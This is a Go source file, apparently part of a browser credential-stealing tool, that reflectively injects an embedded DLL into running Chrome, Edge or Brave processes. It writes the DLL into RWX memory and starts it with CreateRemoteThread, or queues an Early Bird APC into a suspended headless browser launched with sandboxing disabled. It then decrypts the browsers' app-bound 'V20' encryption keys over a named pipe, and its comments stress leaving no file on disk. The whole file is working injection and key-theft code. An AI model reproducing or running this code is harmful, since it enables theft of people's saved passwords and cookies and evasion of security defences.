632 lines
20 KiB
Go
632 lines
20 KiB
Go
//go:build windows
|
|||
|
|
|
||
|
|
package platform
|
||
|
|
|
||
|
|
import (
|
||
|
|
"encoding/base64"
|
||
|
|
"encoding/binary"
|
||
|
|
"fmt"
|
||
|
|
"os"
|
||
|
|
"path/filepath"
|
||
|
|
"strings"
|
||
|
|
"syscall"
|
||
|
|
"unsafe"
|
||
|
|
|
||
|
|
"golang.org/x/sys/windows"
|
||
|
|
)
|
||
|
|
|
||
|
|
var (
|
||
|
|
modKernel32Inj = windows.NewLazySystemDLL("kernel32.dll")
|
||
|
|
procVirtualAllocEx = modKernel32Inj.NewProc("VirtualAllocEx")
|
||
|
|
procVirtualFreeEx = modKernel32Inj.NewProc("VirtualFreeEx")
|
||
|
|
procCreateRemoteThread = modKernel32Inj.NewProc("CreateRemoteThread")
|
||
|
|
procQueueUserAPC = modKernel32Inj.NewProc("QueueUserAPC")
|
||
|
|
modNtdllInj = windows.NewLazySystemDLL("ntdll.dll")
|
||
|
|
procNtQueryInformationProcess = modNtdllInj.NewProc("NtQueryInformationProcess")
|
||
|
|
)
|
||
|
|
|
||
|
|
// processBasicInformation mirrors PROCESS_BASIC_INFORMATION (x64).
|
||
|
|
type processBasicInformation struct {
|
||
|
|
Reserved1 uintptr
|
||
|
|
PebBaseAddress uintptr
|
||
|
|
Reserved2 [2]uintptr
|
||
|
|
UniqueProcessId uintptr
|
||
|
|
Reserved3 uintptr
|
||
|
|
}
|
||
|
|
|
||
|
|
// unicodeString mirrors UNICODE_STRING.
|
||
|
|
type unicodeString struct {
|
||
|
|
Length uint16
|
||
|
|
MaximumLength uint16
|
||
|
|
Buffer uintptr
|
||
|
|
}
|
||
|
|
|
||
|
|
// processCommandLine returns the full command line of a process by walking its
|
||
|
|
// PEB (x64 offsets). Used to distinguish the main browser process from its
|
||
|
|
// renderer/GPU/utility subprocesses.
|
||
|
|
func processCommandLine(pid uint32) (string, error) {
|
||
|
|
hProcess, err := windows.OpenProcess(
|
||
|
|
windows.PROCESS_QUERY_LIMITED_INFORMATION|windows.PROCESS_VM_READ, false, pid)
|
||
|
|
if err != nil {
|
||
|
|
return "", err
|
||
|
|
}
|
||
|
|
defer windows.CloseHandle(hProcess)
|
||
|
|
|
||
|
|
var pbi processBasicInformation
|
||
|
|
var retLen uint32
|
||
|
|
status, _, _ := procNtQueryInformationProcess.Call(
|
||
|
|
uintptr(hProcess), 0, uintptr(unsafe.Pointer(&pbi)),
|
||
|
|
unsafe.Sizeof(pbi), uintptr(unsafe.Pointer(&retLen)),
|
||
|
|
)
|
||
|
|
if status != 0 || pbi.PebBaseAddress == 0 {
|
||
|
|
return "", fmt.Errorf("NtQueryInformationProcess: 0x%x", status)
|
||
|
|
}
|
||
|
|
|
||
|
|
// PEB.ProcessParameters (offset 0x20 on x64).
|
||
|
|
var procParams uintptr
|
||
|
|
if err := windows.ReadProcessMemory(hProcess, pbi.PebBaseAddress+0x20,
|
||
|
|
(*byte)(unsafe.Pointer(&procParams)), unsafe.Sizeof(procParams), nil); err != nil {
|
||
|
|
return "", err
|
||
|
|
}
|
||
|
|
if procParams == 0 {
|
||
|
|
return "", fmt.Errorf("no process parameters")
|
||
|
|
}
|
||
|
|
|
||
|
|
// RTL_USER_PROCESS_PARAMETERS.CommandLine (offset 0x70 on x64).
|
||
|
|
var cmdLine unicodeString
|
||
|
|
if err := windows.ReadProcessMemory(hProcess, procParams+0x70,
|
||
|
|
(*byte)(unsafe.Pointer(&cmdLine)), unsafe.Sizeof(cmdLine), nil); err != nil {
|
||
|
|
return "", err
|
||
|
|
}
|
||
|
|
if cmdLine.Length == 0 || cmdLine.Buffer == 0 {
|
||
|
|
return "", fmt.Errorf("no command line")
|
||
|
|
}
|
||
|
|
|
||
|
|
buf := make([]uint16, cmdLine.Length/2)
|
||
|
|
if err := windows.ReadProcessMemory(hProcess, cmdLine.Buffer,
|
||
|
|
(*byte)(unsafe.Pointer(&buf[0])), uintptr(cmdLine.Length), nil); err != nil {
|
||
|
|
return "", err
|
||
|
|
}
|
||
|
|
return syscall.UTF16ToString(buf), nil
|
||
|
|
}
|
||
|
|
|
||
|
|
func orderedBrowserPIDs(exeName string) []uint32 {
|
||
|
|
pids, err := FindProcesses(exeName)
|
||
|
|
if err != nil || len(pids) <= 1 {
|
||
|
|
return pids
|
||
|
|
}
|
||
|
|
for i, pid := range pids {
|
||
|
|
if cmdline, err := processCommandLine(pid); err == nil && !strings.Contains(cmdline, "--type=") {
|
||
|
|
if i != 0 {
|
||
|
|
pids[0], pids[i] = pids[i], pids[0]
|
||
|
|
}
|
||
|
|
return pids
|
||
|
|
}
|
||
|
|
}
|
||
|
|
return pids
|
||
|
|
}
|
||
|
|
|
||
|
|
// findReflectiveLoaderOffset parses the PE export table in file layout and
|
||
|
|
// returns the file offset of the ReflectiveLoader export function.
|
||
|
|
func findReflectiveLoaderOffset(pe []byte) (uint32, error) {
|
||
|
|
if len(pe) < 64 || pe[0] != 'M' || pe[1] != 'Z' {
|
||
|
|
return 0, fmt.Errorf("not a valid PE")
|
||
|
|
}
|
||
|
|
lfanew := binary.LittleEndian.Uint32(pe[60:])
|
||
|
|
if int(lfanew)+24 > len(pe) {
|
||
|
|
return 0, fmt.Errorf("truncated PE header")
|
||
|
|
}
|
||
|
|
if binary.LittleEndian.Uint32(pe[lfanew:]) != 0x00004550 {
|
||
|
|
return 0, fmt.Errorf("bad PE signature")
|
||
|
|
}
|
||
|
|
|
||
|
|
coffOff := lfanew + 4
|
||
|
|
numSections := binary.LittleEndian.Uint16(pe[coffOff+2:])
|
||
|
|
optHeaderSize := binary.LittleEndian.Uint16(pe[coffOff+16:])
|
||
|
|
optHeaderOff := coffOff + 20
|
||
|
|
|
||
|
|
if int(optHeaderOff)+4 > len(pe) {
|
||
|
|
return 0, fmt.Errorf("truncated optional header")
|
||
|
|
}
|
||
|
|
magic := binary.LittleEndian.Uint16(pe[optHeaderOff:])
|
||
|
|
|
||
|
|
var exportRVA uint32
|
||
|
|
switch magic {
|
||
|
|
case 0x10b: // PE32
|
||
|
|
if int(optHeaderOff)+100 > len(pe) {
|
||
|
|
return 0, fmt.Errorf("PE32 optional header too short")
|
||
|
|
}
|
||
|
|
exportRVA = binary.LittleEndian.Uint32(pe[optHeaderOff+96:])
|
||
|
|
case 0x20b: // PE32+
|
||
|
|
if int(optHeaderOff)+116 > len(pe) {
|
||
|
|
return 0, fmt.Errorf("PE32+ optional header too short")
|
||
|
|
}
|
||
|
|
exportRVA = binary.LittleEndian.Uint32(pe[optHeaderOff+112:])
|
||
|
|
default:
|
||
|
|
return 0, fmt.Errorf("unknown PE magic 0x%x", magic)
|
||
|
|
}
|
||
|
|
|
||
|
|
sectionOff := optHeaderOff + uint32(optHeaderSize)
|
||
|
|
|
||
|
|
// rva2fo converts a virtual RVA to a file offset via the section table.
|
||
|
|
rva2fo := func(rva uint32) uint32 {
|
||
|
|
for i := uint16(0); i < numSections; i++ {
|
||
|
|
off := sectionOff + uint32(i)*40
|
||
|
|
if int(off)+40 > len(pe) {
|
||
|
|
break
|
||
|
|
}
|
||
|
|
// IMAGE_SECTION_HEADER layout:
|
||
|
|
// +0 Name[8]
|
||
|
|
// +8 VirtualSize
|
||
|
|
// +12 VirtualAddress
|
||
|
|
// +16 SizeOfRawData
|
||
|
|
// +20 PointerToRawData
|
||
|
|
vAddr := binary.LittleEndian.Uint32(pe[off+12:])
|
||
|
|
vSize := binary.LittleEndian.Uint32(pe[off+8:])
|
||
|
|
rawPtr := binary.LittleEndian.Uint32(pe[off+20:])
|
||
|
|
rawSize := binary.LittleEndian.Uint32(pe[off+16:])
|
||
|
|
span := vSize
|
||
|
|
if rawSize > span {
|
||
|
|
span = rawSize
|
||
|
|
}
|
||
|
|
if rva >= vAddr && rva < vAddr+span {
|
||
|
|
delta := rva - vAddr
|
||
|
|
if delta < rawSize {
|
||
|
|
return rawPtr + delta
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
// RVA might be in the PE headers (before the first section).
|
||
|
|
if numSections > 0 {
|
||
|
|
firstRaw := binary.LittleEndian.Uint32(pe[sectionOff+20:])
|
||
|
|
if rva < firstRaw {
|
||
|
|
return rva
|
||
|
|
}
|
||
|
|
}
|
||
|
|
return 0
|
||
|
|
}
|
||
|
|
|
||
|
|
exportFO := rva2fo(exportRVA)
|
||
|
|
if exportFO == 0 || int(exportFO)+40 > len(pe) {
|
||
|
|
return 0, fmt.Errorf("invalid export directory")
|
||
|
|
}
|
||
|
|
|
||
|
|
// IMAGE_EXPORT_DIRECTORY offsets:
|
||
|
|
// +20 NumberOfFunctions
|
||
|
|
// +24 NumberOfNames
|
||
|
|
// +28 AddressOfFunctions
|
||
|
|
// +32 AddressOfNames
|
||
|
|
// +36 AddressOfNameOrdinals
|
||
|
|
numNames := binary.LittleEndian.Uint32(pe[exportFO+24:])
|
||
|
|
functionsFO := rva2fo(binary.LittleEndian.Uint32(pe[exportFO+28:]))
|
||
|
|
namesFO := rva2fo(binary.LittleEndian.Uint32(pe[exportFO+32:]))
|
||
|
|
ordinalsFO := rva2fo(binary.LittleEndian.Uint32(pe[exportFO+36:]))
|
||
|
|
|
||
|
|
for i := uint32(0); i < numNames; i++ {
|
||
|
|
if int(namesFO+i*4+4) > len(pe) {
|
||
|
|
break
|
||
|
|
}
|
||
|
|
nameFO := rva2fo(binary.LittleEndian.Uint32(pe[namesFO+i*4:]))
|
||
|
|
if nameFO == 0 || int(nameFO) >= len(pe) {
|
||
|
|
continue
|
||
|
|
}
|
||
|
|
name := pe[nameFO:]
|
||
|
|
found := false
|
||
|
|
for k := 0; k < 64 && int(nameFO)+k+16 <= len(pe); k++ {
|
||
|
|
if name[k] == 0 {
|
||
|
|
break
|
||
|
|
}
|
||
|
|
if name[k] == 'R' && string(name[k:k+16]) == "ReflectiveLoader" {
|
||
|
|
found = true
|
||
|
|
break
|
||
|
|
}
|
||
|
|
}
|
||
|
|
if !found {
|
||
|
|
continue
|
||
|
|
}
|
||
|
|
if int(ordinalsFO+i*2+2) > len(pe) {
|
||
|
|
break
|
||
|
|
}
|
||
|
|
ordinal := uint32(binary.LittleEndian.Uint16(pe[ordinalsFO+i*2:]))
|
||
|
|
if int(functionsFO+ordinal*4+4) > len(pe) {
|
||
|
|
break
|
||
|
|
}
|
||
|
|
funcFO := rva2fo(binary.LittleEndian.Uint32(pe[functionsFO+ordinal*4:]))
|
||
|
|
if funcFO != 0 {
|
||
|
|
return funcFO, nil
|
||
|
|
}
|
||
|
|
}
|
||
|
|
return 0, fmt.Errorf("ReflectiveLoader export not found")
|
||
|
|
}
|
||
|
|
|
||
|
|
// writeReflectiveDLL allocates RWX memory in hProcess, writes the full DLL image
|
||
|
|
// followed by the UTF-16 pipe name, and returns the remote addresses of the
|
||
|
|
// ReflectiveLoader entry point and the pipe name. The pipe name is passed to
|
||
|
|
// the loader as lpParameter so it reaches DllMain without relying on an
|
||
|
|
// inherited environment variable (which running browsers do not have).
|
||
|
|
func writeReflectiveDLL(hProcess windows.Handle, dllBytes []byte, pipeName string) (loaderAddr, pipeNameAddr uintptr, err error) {
|
||
|
|
loaderOff, err := findReflectiveLoaderOffset(dllBytes)
|
||
|
|
if err != nil {
|
||
|
|
return 0, 0, fmt.Errorf("find reflective loader: %w", err)
|
||
|
|
}
|
||
|
|
|
||
|
|
pipeW, err := syscall.UTF16FromString(pipeName)
|
||
|
|
if err != nil {
|
||
|
|
return 0, 0, fmt.Errorf("utf16 pipe name: %w", err)
|
||
|
|
}
|
||
|
|
pipeBytes := len(pipeW) * 2
|
||
|
|
total := len(dllBytes) + pipeBytes
|
||
|
|
|
||
|
|
remoteMem, _, _ := procVirtualAllocEx.Call(
|
||
|
|
uintptr(hProcess), 0, uintptr(total),
|
||
|
|
windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE,
|
||
|
|
)
|
||
|
|
if remoteMem == 0 {
|
||
|
|
return 0, 0, fmt.Errorf("VirtualAllocEx failed")
|
||
|
|
}
|
||
|
|
|
||
|
|
var written uintptr
|
||
|
|
if err := windows.WriteProcessMemory(hProcess, remoteMem, &dllBytes[0], uintptr(len(dllBytes)), &written); err != nil {
|
||
|
|
procVirtualFreeEx.Call(uintptr(hProcess), remoteMem, 0, windows.MEM_RELEASE)
|
||
|
|
return 0, 0, fmt.Errorf("WriteProcessMemory: %w", err)
|
||
|
|
}
|
||
|
|
|
||
|
|
pipeNameAddr = remoteMem + uintptr(len(dllBytes))
|
||
|
|
pipeBuf := unsafe.Slice((*byte)(unsafe.Pointer(&pipeW[0])), pipeBytes)
|
||
|
|
if err := windows.WriteProcessMemory(hProcess, pipeNameAddr, &pipeBuf[0], uintptr(pipeBytes), &written); err != nil {
|
||
|
|
procVirtualFreeEx.Call(uintptr(hProcess), remoteMem, 0, windows.MEM_RELEASE)
|
||
|
|
return 0, 0, fmt.Errorf("WriteProcessMemory pipe: %w", err)
|
||
|
|
}
|
||
|
|
|
||
|
|
return remoteMem + uintptr(loaderOff), pipeNameAddr, nil
|
||
|
|
}
|
||
|
|
|
||
|
|
func createKillOnCloseJob() (windows.Handle, error) {
|
||
|
|
job, err := windows.CreateJobObject(nil, nil)
|
||
|
|
if err != nil {
|
||
|
|
return 0, fmt.Errorf("CreateJobObject: %w", err)
|
||
|
|
}
|
||
|
|
var info windows.JOBOBJECT_EXTENDED_LIMIT_INFORMATION
|
||
|
|
info.BasicLimitInformation.LimitFlags |= windows.JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE
|
||
|
|
_, err = windows.SetInformationJobObject(job, windows.JobObjectExtendedLimitInformation,
|
||
|
|
uintptr(unsafe.Pointer(&info)), uint32(unsafe.Sizeof(info)))
|
||
|
|
if err != nil {
|
||
|
|
windows.CloseHandle(job)
|
||
|
|
return 0, fmt.Errorf("SetInformationJobObject: %w", err)
|
||
|
|
}
|
||
|
|
return job, nil
|
||
|
|
}
|
||
|
|
|
||
|
|
// InjectDLL reflectively injects the DLL into a running process via CreateRemoteThread.
|
||
|
|
// The DLL bytes are written directly into the target process — no temp file on disk.
|
||
|
|
func InjectDLL(dllBytes []byte, pipeName string, targetPID uint32) (*PipeSession, error) {
|
||
|
|
hProcess, err := windows.OpenProcess(
|
||
|
|
windows.PROCESS_CREATE_THREAD|windows.PROCESS_QUERY_INFORMATION|
|
||
|
|
windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ,
|
||
|
|
false, targetPID)
|
||
|
|
if err != nil {
|
||
|
|
return nil, fmt.Errorf("OpenProcess(%d): %w", targetPID, err)
|
||
|
|
}
|
||
|
|
|
||
|
|
loaderAddr, pipeNameAddr, err := writeReflectiveDLL(hProcess, dllBytes, pipeName)
|
||
|
|
if err != nil {
|
||
|
|
windows.CloseHandle(hProcess)
|
||
|
|
return nil, err
|
||
|
|
}
|
||
|
|
|
||
|
|
hThread, _, lerr := procCreateRemoteThread.Call(uintptr(hProcess), 0, 0, loaderAddr, pipeNameAddr, 0, 0)
|
||
|
|
if hThread == 0 {
|
||
|
|
windows.CloseHandle(hProcess)
|
||
|
|
return nil, fmt.Errorf("CreateRemoteThread: %w", lerr)
|
||
|
|
}
|
||
|
|
windows.CloseHandle(windows.Handle(hThread))
|
||
|
|
|
||
|
|
logf("DLL reflectively injected into PID %d", targetPID)
|
||
|
|
|
||
|
|
return &PipeSession{
|
||
|
|
pid: targetPID,
|
||
|
|
hProcess: hProcess,
|
||
|
|
}, nil
|
||
|
|
}
|
||
|
|
|
||
|
|
func cleanupInjection(hProcess windows.Handle, addr uintptr) {
|
||
|
|
procVirtualFreeEx.Call(uintptr(hProcess), addr, 0, windows.MEM_RELEASE)
|
||
|
|
windows.CloseHandle(hProcess)
|
||
|
|
}
|
||
|
|
|
||
|
|
// CreatePipeSession creates a named pipe, reflectively injects the DLL into an
|
||
|
|
// existing browser process (passing the pipe name via lpParameter), and waits
|
||
|
|
// for connection. Falls back to creating a new headless browser process if
|
||
|
|
// injection into an existing process fails or times out.
|
||
|
|
func CreatePipeSession(dllBytes []byte, browserName string) (*PipeSession, error) {
|
||
|
|
pipeName := createPipeName()
|
||
|
|
logf("creating pipe: %s", pipeName)
|
||
|
|
|
||
|
|
hPipe, err := createPipeServer(pipeName)
|
||
|
|
if err != nil {
|
||
|
|
return nil, fmt.Errorf("create pipe server: %w", err)
|
||
|
|
}
|
||
|
|
|
||
|
|
pids := orderedBrowserPIDs(BrowserExeName(browserName))
|
||
|
|
|
||
|
|
const maxExistingTries = 3
|
||
|
|
if len(pids) > 0 {
|
||
|
|
for i, pid := range pids {
|
||
|
|
if i >= maxExistingTries {
|
||
|
|
logf("reached max existing process attempts (%d) for %s", maxExistingTries, browserName)
|
||
|
|
break
|
||
|
|
}
|
||
|
|
logf("trying existing %s PID %d", browserName, pid)
|
||
|
|
s, err := InjectDLL(dllBytes, pipeName, pid)
|
||
|
|
if err != nil {
|
||
|
|
logf("inject PID %d failed: %v", pid, err)
|
||
|
|
continue
|
||
|
|
}
|
||
|
|
s.watchExit(fmt.Sprintf("existing %s", browserName), 2000)
|
||
|
|
if err := waitPipeConnect(hPipe, 2000); err != nil {
|
||
|
|
logf("pipe connect timeout for PID %d", pid)
|
||
|
|
s.Close()
|
||
|
|
procDisconnectNamedPipe.Call(uintptr(hPipe))
|
||
|
|
windows.CloseHandle(hPipe)
|
||
|
|
hPipe, err = createPipeServer(pipeName)
|
||
|
|
if err != nil {
|
||
|
|
return nil, fmt.Errorf("recreate pipe: %w", err)
|
||
|
|
}
|
||
|
|
continue
|
||
|
|
}
|
||
|
|
s.hPipe = hPipe
|
||
|
|
ActivePipeSession = s
|
||
|
|
logf("pipe session established with existing %s (PID %d)", browserName, pid)
|
||
|
|
return s, nil
|
||
|
|
}
|
||
|
|
logf("failed to inject into existing %s processes, will try creating new process", browserName)
|
||
|
|
} else {
|
||
|
|
logf("no running %s found, will create new headless process", browserName)
|
||
|
|
}
|
||
|
|
|
||
|
|
s, err := CreateAndInjectBrowser(dllBytes, pipeName, browserName)
|
||
|
|
if err != nil {
|
||
|
|
windows.CloseHandle(hPipe)
|
||
|
|
return nil, fmt.Errorf("create and inject browser: %w", err)
|
||
|
|
}
|
||
|
|
s.watchExit(fmt.Sprintf("spawned %s", browserName), 8000)
|
||
|
|
|
||
|
|
if err := waitPipeConnect(hPipe, 5000); err != nil {
|
||
|
|
logf("pipe connect timeout for new process")
|
||
|
|
s.Close()
|
||
|
|
windows.CloseHandle(hPipe)
|
||
|
|
return nil, fmt.Errorf("pipe connect timeout")
|
||
|
|
}
|
||
|
|
|
||
|
|
s.hPipe = hPipe
|
||
|
|
s.ownsProcess = true
|
||
|
|
ActivePipeSession = s
|
||
|
|
logf("pipe session established with new %s (PID %d)", browserName, s.pid)
|
||
|
|
return s, nil
|
||
|
|
}
|
||
|
|
|
||
|
|
// FindProcesses returns PIDs of running processes matching the given exe name.
|
||
|
|
func FindProcesses(exeName string) ([]uint32, error) {
|
||
|
|
if exeName == "" {
|
||
|
|
return nil, nil
|
||
|
|
}
|
||
|
|
hSnapshot, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
|
||
|
|
if err != nil {
|
||
|
|
return nil, err
|
||
|
|
}
|
||
|
|
defer windows.CloseHandle(hSnapshot)
|
||
|
|
|
||
|
|
var entry windows.ProcessEntry32
|
||
|
|
entry.Size = uint32(unsafe.Sizeof(entry))
|
||
|
|
if err := windows.Process32First(hSnapshot, &entry); err != nil {
|
||
|
|
return nil, err
|
||
|
|
}
|
||
|
|
|
||
|
|
var pids []uint32
|
||
|
|
for {
|
||
|
|
if syscall.UTF16ToString(entry.ExeFile[:]) == exeName {
|
||
|
|
pids = append(pids, entry.ProcessID)
|
||
|
|
}
|
||
|
|
if err := windows.Process32Next(hSnapshot, &entry); err != nil {
|
||
|
|
break
|
||
|
|
}
|
||
|
|
}
|
||
|
|
return pids, nil
|
||
|
|
}
|
||
|
|
|
||
|
|
func BrowserExeName(name string) string {
|
||
|
|
switch name {
|
||
|
|
case "Chrome":
|
||
|
|
return "chrome.exe"
|
||
|
|
case "Edge":
|
||
|
|
return "msedge.exe"
|
||
|
|
case "Brave":
|
||
|
|
return "brave.exe"
|
||
|
|
}
|
||
|
|
return ""
|
||
|
|
}
|
||
|
|
|
||
|
|
// CreateAndInjectBrowser creates a new suspended browser process and reflectively
|
||
|
|
// injects the DLL via Early Bird APC. No temp file is written to disk.
|
||
|
|
func CreateAndInjectBrowser(dllBytes []byte, pipeName string, browserName string) (*PipeSession, error) {
|
||
|
|
browserPath, err := getBrowserPath(browserName)
|
||
|
|
if err != nil {
|
||
|
|
return nil, fmt.Errorf("get browser path: %w", err)
|
||
|
|
}
|
||
|
|
|
||
|
|
browserPathW, err := syscall.UTF16PtrFromString(browserPath)
|
||
|
|
if err != nil {
|
||
|
|
return nil, err
|
||
|
|
}
|
||
|
|
cmdLine := fmt.Sprintf(`"%s" --headless --disable-gpu --no-sandbox --disable-dev-shm-usage`, browserPath)
|
||
|
|
cmdLineW, err := syscall.UTF16PtrFromString(cmdLine)
|
||
|
|
if err != nil {
|
||
|
|
return nil, err
|
||
|
|
}
|
||
|
|
|
||
|
|
var si windows.StartupInfo
|
||
|
|
var pi windows.ProcessInformation
|
||
|
|
si.Cb = uint32(unsafe.Sizeof(si))
|
||
|
|
if err := windows.CreateProcess(browserPathW, cmdLineW, nil, nil, false,
|
||
|
|
windows.CREATE_SUSPENDED, nil, nil, &si, &pi); err != nil {
|
||
|
|
return nil, fmt.Errorf("CreateProcess: %w", err)
|
||
|
|
}
|
||
|
|
logf("created suspended %s process (PID: %d)", browserName, pi.ProcessId)
|
||
|
|
|
||
|
|
// Create a kill-on-close job and assign the suspended browser to it so the
|
||
|
|
// whole process tree is reaped when the session closes, even though the
|
||
|
|
// headless parent self-exits after serving one key.
|
||
|
|
job, jobErr := createKillOnCloseJob()
|
||
|
|
if jobErr != nil {
|
||
|
|
logf("job object unavailable, falling back to TerminateProcess: %v", jobErr)
|
||
|
|
} else if err := windows.AssignProcessToJobObject(job, pi.Process); err != nil {
|
||
|
|
logf("AssignProcessToJobObject failed, falling back to TerminateProcess: %v", err)
|
||
|
|
windows.CloseHandle(job)
|
||
|
|
job = 0
|
||
|
|
} else {
|
||
|
|
logf("spawned %s (PID %d) assigned to kill-on-close job", browserName, pi.ProcessId)
|
||
|
|
}
|
||
|
|
|
||
|
|
cleanup := func() {
|
||
|
|
if job != 0 {
|
||
|
|
windows.CloseHandle(job)
|
||
|
|
}
|
||
|
|
windows.TerminateProcess(pi.Process, 0)
|
||
|
|
windows.CloseHandle(pi.Process)
|
||
|
|
windows.CloseHandle(pi.Thread)
|
||
|
|
}
|
||
|
|
|
||
|
|
loaderAddr, pipeNameAddr, err := writeReflectiveDLL(pi.Process, dllBytes, pipeName)
|
||
|
|
if err != nil {
|
||
|
|
cleanup()
|
||
|
|
return nil, err
|
||
|
|
}
|
||
|
|
|
||
|
|
// Queue APC to the main thread — fires on its first alertable wait after resume.
|
||
|
|
ret, _, aerr := procQueueUserAPC.Call(loaderAddr, uintptr(pi.Thread), pipeNameAddr)
|
||
|
|
if ret == 0 {
|
||
|
|
cleanup()
|
||
|
|
return nil, fmt.Errorf("QueueUserAPC: %w", aerr)
|
||
|
|
}
|
||
|
|
logf("queued APC for reflective loader")
|
||
|
|
|
||
|
|
if _, err := windows.ResumeThread(pi.Thread); err != nil {
|
||
|
|
cleanup()
|
||
|
|
return nil, fmt.Errorf("ResumeThread: %w", err)
|
||
|
|
}
|
||
|
|
logf("resumed process main thread")
|
||
|
|
|
||
|
|
return &PipeSession{
|
||
|
|
pid: pi.ProcessId,
|
||
|
|
hProcess: pi.Process,
|
||
|
|
ownsProcess: true,
|
||
|
|
job: job,
|
||
|
|
}, nil
|
||
|
|
}
|
||
|
|
|
||
|
|
func getBrowserPath(browserName string) (string, error) {
|
||
|
|
var paths []string
|
||
|
|
switch browserName {
|
||
|
|
case "Chrome":
|
||
|
|
paths = []string{
|
||
|
|
filepath.Join(os.Getenv("ProgramFiles"), "Google", "Chrome", "Application", "chrome.exe"),
|
||
|
|
filepath.Join(os.Getenv("ProgramFiles(x86)"), "Google", "Chrome", "Application", "chrome.exe"),
|
||
|
|
filepath.Join(os.Getenv("LOCALAPPDATA"), "Google", "Chrome", "Application", "chrome.exe"),
|
||
|
|
}
|
||
|
|
case "Edge":
|
||
|
|
paths = []string{
|
||
|
|
filepath.Join(os.Getenv("ProgramFiles"), "Microsoft", "Edge", "Application", "msedge.exe"),
|
||
|
|
filepath.Join(os.Getenv("ProgramFiles(x86)"), "Microsoft", "Edge", "Application", "msedge.exe"),
|
||
|
|
}
|
||
|
|
case "Brave":
|
||
|
|
paths = []string{
|
||
|
|
filepath.Join(os.Getenv("ProgramFiles"), "BraveSoftware", "Brave-Browser", "Application", "brave.exe"),
|
||
|
|
filepath.Join(os.Getenv("ProgramFiles(x86)"), "BraveSoftware", "Brave-Browser", "Application", "brave.exe"),
|
||
|
|
filepath.Join(os.Getenv("LOCALAPPDATA"), "BraveSoftware", "Brave-Browser", "Application", "brave.exe"),
|
||
|
|
}
|
||
|
|
default:
|
||
|
|
return "", fmt.Errorf("unknown browser: %s", browserName)
|
||
|
|
}
|
||
|
|
for _, p := range paths {
|
||
|
|
if _, err := os.Stat(p); err == nil {
|
||
|
|
return p, nil
|
||
|
|
}
|
||
|
|
}
|
||
|
|
return "", fmt.Errorf("%s not found", browserName)
|
||
|
|
}
|
||
|
|
|
||
|
|
// TryV20KeyViaBrowserSession attempts to decrypt a V20 key by injecting a DLL
|
||
|
|
// into a browser process and communicating via named pipe.
|
||
|
|
func TryV20KeyViaBrowserSession(processName, browserName string, encBlob []byte) ([]byte, error) {
|
||
|
|
dllBytes := GetEmbeddedDLL()
|
||
|
|
if dllBytes == nil {
|
||
|
|
return nil, fmt.Errorf("no embedded DLL")
|
||
|
|
}
|
||
|
|
|
||
|
|
pids := orderedBrowserPIDs(processName)
|
||
|
|
if len(pids) == 0 && browserName == "Chrome" {
|
||
|
|
return nil, fmt.Errorf("no running Chrome processes for V20")
|
||
|
|
}
|
||
|
|
|
||
|
|
pipeName := createPipeName()
|
||
|
|
hPipe, err := createPipeServer(pipeName)
|
||
|
|
if err != nil {
|
||
|
|
return nil, fmt.Errorf("create pipe: %w", err)
|
||
|
|
}
|
||
|
|
|
||
|
|
const maxTries = 3
|
||
|
|
for i, pid := range pids {
|
||
|
|
if i >= maxTries {
|
||
|
|
break
|
||
|
|
}
|
||
|
|
s, injErr := InjectDLL(dllBytes, pipeName, pid)
|
||
|
|
if injErr != nil {
|
||
|
|
logf("V20 inject %s PID %d: %v", browserName, pid, injErr)
|
||
|
|
continue
|
||
|
|
}
|
||
|
|
s.watchExit(fmt.Sprintf("V20 %s", browserName), 2000)
|
||
|
|
if connErr := waitPipeConnect(hPipe, 1000); connErr != nil {
|
||
|
|
logf("V20 pipe timeout for %s PID %d", browserName, pid)
|
||
|
|
procDisconnectNamedPipe.Call(uintptr(hPipe))
|
||
|
|
windows.CloseHandle(hPipe)
|
||
|
|
hPipe, err = createPipeServer(pipeName)
|
||
|
|
if err != nil {
|
||
|
|
return nil, fmt.Errorf("recreate pipe: %w", err)
|
||
|
|
}
|
||
|
|
continue
|
||
|
|
}
|
||
|
|
s.hPipe = hPipe
|
||
|
|
encB64 := base64.StdEncoding.EncodeToString(encBlob)
|
||
|
|
key, keyErr := s.GetV20Key(browserName, encB64)
|
||
|
|
s.Close()
|
||
|
|
return key, keyErr
|
||
|
|
}
|
||
|
|
|
||
|
|
if browserName == "Chrome" {
|
||
|
|
windows.CloseHandle(hPipe)
|
||
|
|
tried := len(pids)
|
||
|
|
if tried > maxTries {
|
||
|
|
tried = maxTries
|
||
|
|
}
|
||
|
|
return nil, fmt.Errorf("V20 session failed for Chrome (tried %d existing PIDs)", tried)
|
||
|
|
}
|
||
|
|
|
||
|
|
logf("existing %s PIDs failed for V20, launching headless process", browserName)
|
||
|
|
s, err := CreateAndInjectBrowser(dllBytes, pipeName, browserName)
|
||
|
|
if err != nil {
|
||
|
|
windows.CloseHandle(hPipe)
|
||
|
|
return nil, fmt.Errorf("create headless %s for V20: %w", browserName, err)
|
||
|
|
}
|
||
|
|
s.watchExit(fmt.Sprintf("V20 spawned %s", browserName), 8000)
|
||
|
|
if connErr := waitPipeConnect(hPipe, 5000); connErr != nil {
|
||
|
|
s.Close()
|
||
|
|
windows.CloseHandle(hPipe)
|
||
|
|
return nil, fmt.Errorf("pipe connect timeout for new headless %s", browserName)
|
||
|
|
}
|
||
|
|
s.hPipe = hPipe
|
||
|
|
encB64 := base64.StdEncoding.EncodeToString(encBlob)
|
||
|
|
key, keyErr := s.GetV20Key(browserName, encB64)
|
||
|
|
s.Close()
|
||
|
|
return key, keyErr
|
||
|
|
}
|